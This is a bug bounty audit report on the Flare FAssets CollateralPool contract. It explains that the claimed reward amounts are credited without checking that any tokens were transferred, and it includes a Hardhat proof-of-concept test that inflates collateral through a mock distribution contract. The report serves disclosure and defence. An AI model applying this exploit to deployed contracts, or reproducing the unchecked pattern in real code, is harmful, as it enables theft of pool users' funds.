#46858 [SC-High] The agent owner can exploit a malicious rewardManager to steal tokens from the protocol
Submitted on Jun 5th 2025 at 11:35:35 UTC by @ayden for Audit Comp | Flare | FAssets
Report ID: #46858
Report Type: Smart Contract
Report severity: High
Target: https://github.com/flare-foundation/fassets/blob/main/contracts/assetManager/implementation/CollateralPool.sol
Impacts:
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
In the CollateralPool.sol::claimDelegationRewards() / claimAirdropDistribution(). The agent owner can specify any arbitrary or malicious contract address, as there is no validation on the provided address. After claiming reward tokens from an external contract, the totalCollateral value is increased based on the return value of the external call.
However, the contract does not verify whether the claimed tokens were actually transferred to itself. If the external contract does not transfer the expected tokens, totalCollateral will be artificially inflated. This allows the agent owner to exit the pool with more tokens than they are entitled to, potentially resulting in a loss of funds for other users.
Vulnerability Details
Let's take claimAirdropDistribution as example:
function claimAirdropDistribution(
IDistributionToDelegators _distribution,
uint256 _month
)
external
onlyAgent
returns(uint256)
{
uint256 claimed = _distribution.claim(address(this), payable(address(this)), _month, true);
totalCollateral += claimed;
emit ClaimedReward(claimed, 0);
return claimed;
}
totalCollateral is increased by claimed , but whether the claimed tokens were actually transferred is not checked.
Impact Details
Protocol users lost of funds
References
function claimAirdropDistribution(
IDistributionToDelegators _distribution,
uint256 _month
)
external
onlyAgent
returns(uint256)
{
uint256 claimed = _distribution.claim(address(this), payable(address(this)), _month, true);
totalCollateral += claimed;
emit ClaimedReward(claimed, 0);
return claimed;
}
Proof of Concept
Proof of Concept
add test to CollateralPool.ts:
it.only("Test Agent Owner exploit a malicious distribution contract", async () => {
await givePoolFAssetFees(ETH(10));
//two users alice and bob
const alice = accounts[0];
const bob = accounts[1];
await collateralPool.enter(0, false, { value: ETH(11), from: alice });
// alice get shares.
const tokens = await collateralPoolToken.balanceOf(alice);
// bob enter pool
await collateralPool.enter(0, false, { value: ETH(100), from: bob });
// give some collateral using mock airdrop
const mockAirdrop = await MockContract.new();
await mockAirdrop.givenAnyReturnUint(ETH(1000));
//current mockAirdrop not transfer tokens to the pool,
//just return value.
await collateralPool.claimAirdropDistribution(mockAirdrop.address, 1, { from: agent });
const b1 = toBN(await web3.eth.getBalance(alice));
await collateralPool.exit(tokens.toString(), TokenExitType.KEEP_RATIO, { from: alice });
const b2 = toBN(await web3.eth.getBalance(alice));
console.log("alice's balance:", b2.sub(b1).toString());
//110.098235680223946803
});
Was this helpful?